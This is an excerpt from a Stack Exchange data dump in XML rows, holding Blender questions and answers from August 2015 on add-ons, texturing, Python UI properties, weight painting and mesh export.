  <row Id="34992" PostTypeId="1" CreationDate="2015-08-03T00:54:39.237" Score="2" ViewCount="725" Body="&lt;p&gt;Earlier today, I was able to enable Pixar's Renderman add-on for Blender 2.71. I then decided to update to Blender 2.75, but when I tried re-enabling Renderman, I got this message:&lt;a href=&quot;https://i.stack.imgur.com/ElaK3.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ElaK3.jpg&quot; alt=&quot;Error message&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know why?&lt;/p&gt;&#xA;" OwnerUserId="16084" LastEditorUserId="14894" LastEditDate="2016-07-20T01:31:14.417" LastActivityDate="2016-07-20T01:31:14.417" Title="Issue with Renderman and Blender 2.75" Tags="&lt;add-on&gt;&lt;renderman-render-engine&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34993" PostTypeId="1" CreationDate="2015-08-03T01:24:40.127" Score="3" ViewCount="4111" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KS0yI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KS0yI.png&quot; alt=&quot;this&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cant find the texture mapping drop down menu in the texture menu when using blender render, are there any alternatives?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/395/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=395&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16104" LastEditorUserId="-1" LastEditDate="2017-03-14T09:29:22.580" LastActivityDate="2015-08-03T02:16:45.967" Title="texture mapping menu missing in blender render 2.75" Tags="&lt;texturing&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34996" PostTypeId="2" ParentId="34993" CreationDate="2015-08-03T02:11:44.310" Score="3" Body="&lt;p&gt;This is because &lt;em&gt;Use Nodes&lt;/em&gt; is enabled on the material using the texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4rSdi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4rSdi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once this option is disabled, the &lt;em&gt;Mapping&lt;/em&gt; panel is available in the texture options.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-08-03T02:11:44.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34998" PostTypeId="1" CreationDate="2015-08-03T03:56:32.863" Score="1" ViewCount="330" Body="&lt;p&gt;Can I somehow make the poll method of my operator sensitive to whether the operator is being invoked or executed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bpy.types import Operator&#xA;class TestOp(Operator):&#xA;    bl_idname = &quot;test.test&quot;&#xA;    bl_label = &quot;Test operator&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(self, context):&#xA;        return False&#xA;&#xA;    def execute(self, c):&#xA;        print(&quot;Executed, just executing&quot;)&#xA;&#xA;    def invoke(self, c, e):&#xA;        print(&quot;Invoked, taking user input&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to rework the poll method so that, when the operator is executed, it always returns True (run from scripts, etc.., assume parameters are set). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When invoked, the context has to fit in a way that the user is able to input the needed parameters. For the sake of the example, let's say we need an object with &lt;code&gt;context.object.type == 'MESH'&lt;/code&gt; in &lt;code&gt;context.mode == 'EDIT_MESH'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to determine the way the operator will be invoked inside its &lt;code&gt;poll&lt;/code&gt; method?&lt;/p&gt;&#xA;" OwnerUserId="2251" LastActivityDate="2015-08-03T03:56:32.863" Title="Operator context sensitive poll method" Tags="&lt;python&gt;&lt;operator&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34999" PostTypeId="1" CreationDate="2015-08-03T05:57:26.000" Score="0" ViewCount="117" Body="&lt;p&gt;I have created an animated text intro from a blender tutorial but when I try to export it to a video, it only exports the effects I created in &quot;compositing&quot; and not the entire animation with the text and textures added. I have tried everything save it all together so it will export together but nothing is working. I know there has to be a simple fix. Any help would be high appreciated!  &lt;/p&gt;&#xA;" OwnerUserId="16109" LastActivityDate="2015-08-03T05:57:26.000" Title="text and texture not visible in output video" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;export&gt;&lt;video&gt;&lt;text-editor&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35000" PostTypeId="1" CreationDate="2015-08-03T07:18:52.523" Score="1" ViewCount="330" Body="&lt;p&gt;I'm an experienced user and have stumbled upon an issue that I can't wrap my head around. I have a very simple node setup. A base material, to a color ramp to an output. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9qDYB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9qDYB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The position of white marker is animated using a driver that reads info from a baked f-curve. I can confirm that driver works properly and position value changes according to my curve. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that the method works properly if rendered, however for my game I need to use GLSL/Viewport and consequently what I see in viewport is what I get but the changes do not show in viewport. Changes only appear after I click on the marker in the color ramp. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically viewport updates only if colorramp marker is clicked by the user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there is a workaround/script for this, that forces the viewport to update/refresh properly from frame to frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all in advance :)&lt;/p&gt;&#xA;" OwnerUserId="16111" LastActivityDate="2017-04-18T08:14:00.700" Title="Animated Color Ramp Not Showing in Viewport" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;3d-view&gt;&lt;nodes&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35002" PostTypeId="2" ParentId="34984" CreationDate="2015-08-03T08:40:28.560" Score="1" Body="&lt;p&gt;You can toggle objects. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;On request the visible object can remove itself and adds another invisible object that counts the 60s. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/tR9cU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tR9cU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;After timeout the invisible object deletes itself and adds the visible object again.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/JM9My.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JM9My.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As you can only add objects from an invisible layer and you want to re-add your objects, I suggest to start with an empty that immediately adds the visible object. This &quot;startup&quot; empty is not needed anymore and can end itself too.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/4H6hu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4H6hu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-08-03T08:40:28.560" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35003" PostTypeId="2" ParentId="34931" CreationDate="2015-08-03T08:47:34.603" Score="1" Body="&lt;p&gt;The near sensor has an attribute &quot;Property&quot;. The sensor will filter the sensed objects by to have a property of the same name. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you are able to sense friends by giving them a property called &quot;friend&quot; and let the near sensor filter for &quot;friend&quot; too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do the same thing just with &quot;enemy&quot; to sense enemies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the appropriate operation after detecting the near event you can use either the steering actuator (Flee, Seek, Path following), or you activate an TrackTo + Move forwards/backward. I'm sure there are more options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Detecting a collision can be done via collision sensor. An object can end itself via Edit Actuator in End Object mode.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-08-03T08:47:34.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35004" PostTypeId="2" ParentId="34986" CreationDate="2015-08-03T10:38:19.133" Score="1" Body="&lt;p&gt;I think you won't get good geometry with shrinkwrap. Also the skin modifier works completely different (see &lt;a href=&quot;https://www.blender.org/manual/modifiers/generate/skin.html&quot; rel=&quot;nofollow&quot;&gt;https://www.blender.org/manual/modifiers/generate/skin.html&lt;/a&gt;). &lt;strike&gt;You rather would use shrinkwrap to put labels onto surfaces and similiar things.&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I opend your stl file and it is really a mess geometry wise. Can you tell how this was created?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the best would be to rebuild the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Maybe my answer was a bit misleading or even wrong regarding the usage of the shrinkwrap modifier. If you would do a retopology of your mesh you would use the shrinkwrap modifier for the workflow (see tutorials on youtube). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what you want to archieve. I made &lt;a href=&quot;https://dl.dropboxusercontent.com/u/5875127/shrinkwrap.blend&quot; rel=&quot;nofollow&quot;&gt;a .blend&lt;/a&gt; with a working (?) shrinkwrap on your mesh.&lt;/p&gt;&#xA;" OwnerUserId="16031" LastEditorUserId="16031" LastEditDate="2015-08-03T14:56:46.177" LastActivityDate="2015-08-03T14:56:46.177" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35005" PostTypeId="1" CreationDate="2015-08-03T11:16:37.310" Score="3" ViewCount="8228" Body="&lt;p&gt;I have a terrain model in the form of a GEOTIFF raster which is from the SRTM (Shuttle Radar Technology Mission) data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this raster data be converted / imported into blender into a triangular mesh? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can 3D city modelling be done, over this mesh? &lt;/p&gt;&#xA;" OwnerUserId="16113" LastEditorUserId="241" LastEditDate="2015-08-03T14:22:23.417" LastActivityDate="2016-05-10T12:49:07.920" Title="How can I import GEOTIFF raster data?" Tags="&lt;modeling&gt;&lt;import&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35006" PostTypeId="1" CreationDate="2015-08-03T11:36:59.030" Score="2" ViewCount="4414" Body="&lt;p&gt;I having problems to see weight effect area in the viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example this file:&lt;br&gt;&#xA;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/51093542/35-minecraft-char.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dl.dropboxusercontent.com/u/51093542/35-minecraft-char.blend&lt;/a&gt; (right-click and 'Save As' to download .blend file)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;used in this tutorial: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=rkT92aoMpP0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=rkT92aoMpP0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compare how its shown in the video (around 5:23) and this&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/9ZGQh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9ZGQh.png&quot; alt=&quot;weight painting on my model&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In another test if I pose the object and try to weight paint on it:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/VETsq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VETsq.png&quot; alt=&quot;weight painting on a test model&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So obviously the weights are being applied to the object, I just can't see it like its supposed to do.&#xA;Any ideas? &lt;/p&gt;&#xA;" OwnerUserId="16106" LastEditorUserId="2217" LastEditDate="2015-08-03T12:39:20.163" LastActivityDate="2015-08-03T23:54:11.657" Title="Weight paint not showing" Tags="&lt;rigging&gt;&lt;bones&gt;&lt;weight-painting&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35007" PostTypeId="1" AcceptedAnswerId="35011" CreationDate="2015-08-03T11:40:55.007" Score="5" ViewCount="6656" Body="&lt;p&gt;So I want to add a checkbox to the UV/Image Editor tools UI&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GLjj0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GLjj0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is currently my code, You can see where I have commented &quot;#Checkbox Here&quot; and later on in the UpdateOperator I want to check whether the box is ticked or not.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class UpdatePanel(bpy.types.Panel):&#xA;    bl_category = &quot;EasyFX&quot;&#xA;    bl_label = &quot;Update&quot;&#xA;    bl_idname = &quot;Update&quot;&#xA;    bl_space_type = 'IMAGE_EDITOR'&#xA;    bl_region_type = 'TOOLS'&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        col = layout.column(align=True)&#xA;        row = col.row(align = True)&#xA;        row.operator('object.update_operator', text = &quot;Update&quot;)&#xA;&#xA;&#xA;class FilterPanel(bpy.types.Panel):&#xA;    bl_category = &quot;EasyFX&quot;&#xA;    bl_label = &quot;Filter&quot;&#xA;    bl_idname = &quot;Filter&quot;&#xA;    bl_space_type = 'IMAGE_EDITOR'&#xA;    bl_region_type = 'TOOLS'&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        col = layout.column(align=True)&#xA;        row = col.row(align=True)&#xA;&#xA;        #Checkbox Here&#xA;&#xA;&#xA;class UpdateOperator(bpy.types.Operator):&#xA;    '''Update'''&#xA;    bl_idname = &quot;object.update_operator&quot;&#xA;    bl_label = &quot;Update Nodes Operator&quot;&#xA;&#xA;    def execute(self, context):&#xA;&#xA;        #if checkbox == True: &#xA;        #    bpy.data.scenes['Scene'].use_nodes = True&#xA;&#xA;        pass&#xA;        return {'FINISHED'}&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(UpdatePanel)&#xA;    bpy.utils.register_class(UpdateOperator)&#xA;    bpy.utils.register_class(FilterPanel)&#xA;def unregister():&#xA;    bpy.utils.unregister_class(FilterPanel)&#xA;if __name__ == '__main__':&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14265" LastEditorUserId="3078" LastEditDate="2016-01-10T16:09:49.230" LastActivityDate="2020-04-16T09:34:47.643" Title="How can I add a checkbox in the tools UI?" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35008" PostTypeId="2" ParentId="35006" CreationDate="2015-08-03T11:54:40.987" Score="1" Body="&lt;p&gt;The file you sent seems to work fine for me (Running Blender version 2.75a): &lt;a href=&quot;https://i.stack.imgur.com/WVgQf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WVgQf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure &quot;Custom Weight Paint Range&quot; in the User Preferences under System is unticked:&#xA; &lt;a href=&quot;https://i.stack.imgur.com/1Uwb3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Uwb3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14265" LastActivityDate="2015-08-03T11:54:40.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35009" PostTypeId="2" ParentId="35007" CreationDate="2015-08-03T12:19:21.600" Score="5" Body="&lt;p&gt;You just need to map a boolean variable to the row property.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class FilterPanel(bpy.types.Panel):&#xA;    bl_category = &quot;EasyFX&quot;&#xA;    bl_label = &quot;Filter&quot;&#xA;    bl_idname = &quot;Filter&quot;&#xA;    bl_space_type = 'IMAGE_EDITOR'&#xA;    bl_region_type = 'TOOLS'&#xA;&#xA;    def draw(self, context):&#xA;        scene = context.scene&#xA;        layout = self.layout&#xA;        col = layout.column(align=True)&#xA;        row = col.row(align=True)&#xA;&#xA;        #Checkbox Here&#xA;        #(implied from property type = bool)&#xA;        row.prop(scene, &quot;my_prop&quot;)&#xA;&#xA;def register():&#xA;    # add your custom property to the Scene, but if you&#xA;    # have to register many properties consider using a &#xA;    # property group. &#xA;    bpy.types.Scene.my_prop = bpy.props.BoolProperty(&#xA;        name=&quot;Prop name&quot;,&#xA;        description=&quot;Some tooltip&quot;,&#xA;        default = True)&#xA;&#xA;    bpy.utils.register_class(FilterPanel)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(FilterPanel)&#xA;    del bpy.types.Scene.my_prop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="894" LastEditorUserId="47" LastEditDate="2016-01-10T16:02:07.577" LastActivityDate="2016-01-10T16:02:07.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35010" PostTypeId="1" AcceptedAnswerId="35019" CreationDate="2015-08-03T12:20:40.547" Score="1" ViewCount="423" Body="&lt;p&gt;What happens when I press &lt;kbd&gt;F&lt;/kbd&gt; while selecting two faces?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I press &lt;kbd&gt;F&lt;/kbd&gt; while selecting two faces, they appears to become merged...&#xA;what actually happens?&#xA;And if its not the way of joining/merging faces?&lt;/p&gt;&#xA;" OwnerUserId="15177" LastEditorUserId="60816" LastEditDate="2018-08-09T12:25:36.550" LastActivityDate="2018-08-09T12:25:36.550" Title="What happens when I press F while selecting two faces?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="35011" PostTypeId="2" ParentId="35007" CreationDate="2015-08-03T12:35:44.567" Score="11" Body="&lt;p&gt;For a 'checkbox' you have to provide a &lt;a href=&quot;https://www.blender.org/api/current/bpy.types.BoolProperty.html?highlight=boolproperty&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;BoolProperty&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my_bool : BoolProperty(&#xA;    name=&quot;Enable or Disable&quot;,&#xA;    description=&quot;A simple bool property&quot;,&#xA;    default = True) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I assume you've got more than 1 property at the end, thus I would also suggest create a 'settings class' for your addon by using a &lt;a href=&quot;https://www.blender.org/api/current/bpy.types.PropertyGroup.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;PropertyGroup&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MySettings(PropertyGroup):&#xA;&#xA;    my_bool : BoolProperty()&#xA;    my_int : IntProperty()&#xA;    my_float : FloatProperty()&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Following example appends a &lt;strong&gt;custom panel&lt;/strong&gt; to the &lt;em&gt;Tool Shelf&lt;/em&gt; of the &lt;strong&gt;UV/Image Editor&lt;/strong&gt; (for more options see &lt;a href=&quot;https://www.blender.org/api/current/bpy.types.Panel.html?highlight=bl_space_type#bpy.types.Panel.bl_space_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;bl_space_type&lt;/strong&gt;&lt;/a&gt;) and prints the 'current state' of the &lt;em&gt;BoolProperty&lt;/em&gt; to the console:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/H5Hsq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H5Hsq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;tester&quot;,&#xA;    &quot;description&quot;: &quot;&quot;,&#xA;    &quot;author&quot;: &quot;poor&quot;,&#xA;    &quot;version&quot;: (0, 0, 1),&#xA;    &quot;blender&quot;: (2, 80, 0),&#xA;    &quot;location&quot;: &quot;UV/Image Editor &amp;gt; Tool Shelf (T)&quot;,&#xA;    &quot;warning&quot;: &quot;&quot;, # used for warning icon and text in addons panel&#xA;    &quot;wiki_url&quot;: &quot;&quot;,&#xA;    &quot;tracker_url&quot;: &quot;&quot;,&#xA;    &quot;category&quot;: &quot;Test&quot;&#xA;}&#xA;&#xA;import bpy&#xA;&#xA;from bpy.props import (StringProperty,&#xA;                       BoolProperty,&#xA;                       IntProperty,&#xA;                       FloatProperty,&#xA;                       FloatVectorProperty,&#xA;                       EnumProperty,&#xA;                       PointerProperty,&#xA;                       )&#xA;from bpy.types import (Panel,&#xA;                       Operator,&#xA;                       AddonPreferences,&#xA;                       PropertyGroup,&#xA;                       )&#xA;&#xA;&#xA;# ------------------------------------------------------------------------&#xA;#    Store properties in the active scene&#xA;# ------------------------------------------------------------------------&#xA;&#xA;class MySettings(PropertyGroup):&#xA;&#xA;    my_bool : BoolProperty(&#xA;        name=&quot;Enable or Disable&quot;,&#xA;        description=&quot;A bool property&quot;,&#xA;        default = False&#xA;        )&#xA;&#xA;    my_int : IntProperty(&#xA;        name = &quot;Set a value&quot;,&#xA;        description=&quot;A integer property&quot;,&#xA;        default = 23,&#xA;        min = 10,&#xA;        max = 100&#xA;        )&#xA;&#xA;    my_float : FloatProperty(&#xA;        name = &quot;Set a value&quot;,&#xA;        description = &quot;A float property&quot;,&#xA;        default = 23.7,&#xA;        min = 0.01,&#xA;        max = 30.0&#xA;        )&#xA;&#xA;# ------------------------------------------------------------------------&#xA;#    My Tool in the image editor&#xA;# ------------------------------------------------------------------------&#xA;&#xA;class UV_PT_my_panel(Panel):&#xA;    bl_idname = &quot;UV_PT_my_panel&quot;&#xA;    bl_label = &quot;My Tool&quot;&#xA;    bl_category = &quot;My Category&quot;&#xA;    bl_space_type = 'IMAGE_EDITOR'&#xA;    bl_region_type = 'UI'&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        scene = context.scene&#xA;        mytool = scene.my_tool&#xA;&#xA;        # display the properties&#xA;        layout.prop(mytool, &quot;my_bool&quot;, text=&quot;Bool Property&quot;)&#xA;        layout.prop(mytool, &quot;my_int&quot;, text=&quot;Integer Property&quot;)&#xA;        layout.prop(mytool, &quot;my_float&quot;, text=&quot;Float Property&quot;)&#xA;&#xA;        # check if bool property is enabled&#xA;        if (mytool.my_bool == True):&#xA;            print (&quot;Property Enabled&quot;)&#xA;        else:&#xA;            print (&quot;Property Disabled&quot;)&#xA;&#xA;&#xA;# ------------------------------------------------------------------------&#xA;#     Registration&#xA;# ------------------------------------------------------------------------&#xA;&#xA;classes = (&#xA;    MySettings,&#xA;    UV_PT_my_panel,&#xA;)&#xA;&#xA;def register():&#xA;    from bpy.utils import register_class&#xA;    for cls in classes:&#xA;        register_class(cls)&#xA;&#xA;    bpy.types.Scene.my_tool = PointerProperty(type=MySettings)&#xA;&#xA;def unregister():&#xA;    from bpy.utils import unregister_class&#xA;    for cls in reversed(classes):&#xA;        unregister_class(cls)&#xA;&#xA;    del bpy.types.Scene.my_tool&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; For demonstration purposes I've also added an &lt;em&gt;Int-&lt;/em&gt; and a &lt;em&gt;FloatProperty&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further reading: &lt;a href=&quot;https://blender.stackexchange.com/questions/57306/how-to-create-a-custom-ui/57332#57332&quot;&gt;How to create a custom UI?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="31447" LastEditDate="2020-04-16T09:34:47.643" LastActivityDate="2020-04-16T09:34:47.643" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="35012" PostTypeId="1" AcceptedAnswerId="35014" CreationDate="2015-08-03T13:27:13.880" Score="1" ViewCount="244" Body="&lt;p&gt;How can I change the color or light intensity of tabs that are hovered over in blenders user interface?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if I hover over the translate option in the tools tab while in the 3d view, it changes color. How can I customize that color?&lt;/p&gt;&#xA;" OwnerUserId="15133" LastEditorUserId="241" LastEditDate="2015-08-03T13:38:21.810" LastActivityDate="2015-08-03T13:38:21.810" Title="How can I change the hover color of tools in the UI?" Tags="&lt;interface&gt;&lt;customization&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35013" PostTypeId="2" ParentId="35012" CreationDate="2015-08-03T13:32:46.180" Score="2" Body="&lt;p&gt;In the user settings there is a &quot;themes&quot; tab. Use it to change any colors you see fit!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also look around - there are many color schemes to be had!&lt;/p&gt;&#xA;" OwnerUserId="16091" LastActivityDate="2015-08-03T13:32:46.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35014" PostTypeId="2" ParentId="35012" CreationDate="2015-08-03T13:37:00.480" Score="2" Body="&lt;p&gt;I don't think that colour can be changed. The options for those colours are in &lt;em&gt;User Preferences&gt; Themes&gt; User Interface&gt; Tool&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'Inner' colour is the colour of the button and the 'Inner Selected' is the colour when pressed, but there is no colour for 'Inner Hover'. The hover colour seems to just calculated based on the 'Inner Colour'. If it is red then the hover colour is lighter red, if it is green the hover is lighter greet etc.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2015-08-03T13:37:00.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35015" PostTypeId="2" ParentId="35010" CreationDate="2015-08-03T14:00:37.653" Score="1" Body="&lt;p&gt;You have to use the Bridge tool to merge 2 faces. Just press (w) and select 'bridge edge loops'.&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-03T14:00:37.653" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35016" PostTypeId="1" AcceptedAnswerId="35036" CreationDate="2015-08-03T14:04:53.320" Score="0" ViewCount="902" Body="&lt;p&gt;I'm trying to write a mesh exporter, which would export vertex position, normal, tangent and texture coords. These would be used in my own engine. But I'm not fully understood the data organization in Blender's mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a GPU pipeline, primitives are usually limited to triangle lists/fans/stripes. However, it seems Blender meshes are organized in individual polygons, which don't have by-material large-sized triangle stripes? Is there any way to get the polygons by material?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a simple test geometry by subdividing twice on one surface of a cube, so this cube has 16 polygons on one face, and each one polygon on remaining 5 faces. When &lt;em&gt;Auto Smooth&lt;/em&gt; is selected, vertex on different polygons should have different normals. However, the number of vertices is still 29 (by print C.object.data.vertices), which is not increased. So where are the polygon-specific vertices being stored?&lt;/p&gt;&#xA;" OwnerUserId="15992" LastActivityDate="2015-08-03T20:20:58.213" Title="How can I get these mesh information for exporting?" Tags="&lt;python&gt;&lt;mesh&gt;&lt;export&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
